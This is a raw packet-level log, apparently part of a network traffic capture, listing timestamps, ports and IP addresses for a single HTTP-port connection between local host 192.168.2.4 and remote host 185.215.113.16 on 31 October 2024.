Oct 31, 2024 04:15:14.159420967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159461975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159476042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159487009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159492016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159502029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159518957 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159615993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159626961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159636974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159662962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159742117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159753084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159763098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159766912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159776926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159790993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159802914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.159898043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.159909010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.160077095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.160250902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.160269022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.160279989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.160296917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.160346031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.160372972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161470890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161526918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161537886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161557913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161626101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161637068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161648989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161663055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161696911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161696911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161770105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161786079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161794901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161797047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161808968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161819935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161823034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161830902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161842108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161844015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161855936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.161869049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.161931992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.169091940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.173928976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.173948050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174034119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174043894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174046040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174149990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174161911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174171925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174181938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174185991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174242973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174242973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174441099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174453020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174468994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174479961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174489975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174501896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174511909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174514055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174525023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174525023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174536943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174552917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174645901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174735069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174746990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174757957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174787045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174840927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.174853086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.174864054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175007105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175019026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175028086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175040007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175050974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175055981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175062895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175085068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175226927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175230980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175352097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175364971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175375938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175388098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175399065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175410032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175415993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175421953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175432920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175436974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175443888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175468922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175791025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175801992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175811052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175820112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175823927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175833941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175846100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175847054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175856113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175868034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175879002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175889969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.175909042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.175909042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176022053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176199913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176212072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176223040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176234961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176245928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176265955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176266909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176278114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176289082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176291943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176301956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176311970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176311970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176326036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176337957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176340103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176387072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176387072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176897049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176908016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176918983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176929951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176940918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176953077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176964998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176969051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.176976919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176987886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176999092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.176999092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177011013 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177011013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177022934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177035093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177046061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177133083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177447081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177459002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177472115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177484035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177498102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177500963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177510023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177521944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177524090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177534103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177546024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177546978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177571058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177644968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177836895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177854061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177865982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177884102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177896976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177908897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177910089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177921057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177933931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.177948952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177948952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.177997112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178134918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178251982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178263903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178275108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178287029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178297997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178308964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178312063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178320885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178333044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178333998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178344011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178515911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178684950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178697109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178706884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178718090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178730965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178735018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178740978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178751945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178762913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178776026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178786993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178786993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178800106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178806067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178817034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.178823948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.178910971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179344893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179356098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179367065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179380894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179394960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179406881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179419041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179429054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179439068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179444075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179455042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179466963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179472923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179472923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179477930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179491043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179511070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179512978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179539919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179646969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179856062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179868937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179879904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179922104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179933071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179934025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179945946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179958105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.179958105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.179974079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180000067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180141926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180319071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180330038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180340052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180351973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180362940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180368900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180373907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180378914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180392027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180469036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180543900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180557013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180732965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180737972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180746078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180756092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180767059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180778980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180789948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180800915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180809021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180811882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180824041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180824041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180836916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180846930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180846930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180857897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180870056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180881977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180886030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180902958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.180932045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.180943012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181165934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181214094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181226015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181236982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181250095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181310892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181351900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181406021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181417942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181427956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181438923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181449890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181463003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181478024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181545973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181745052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181756020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181766033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181777000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181787014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181797981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181802034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181808949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181819916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181832075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181835890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181843042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181849957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181862116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.181864977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.181912899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182082891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182095051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182106972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182118893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182178974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182233095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182244062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182261944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182274103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182284117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182288885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182292938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182295084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182301044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182374001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182703018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182715893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182727098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182738066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182749033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182760954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182763100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182775021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182784081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182786942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182797909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182804108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.182809114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182821989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182832956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182835102 CET	49738	80	192.168.2.4	185.215.113.16
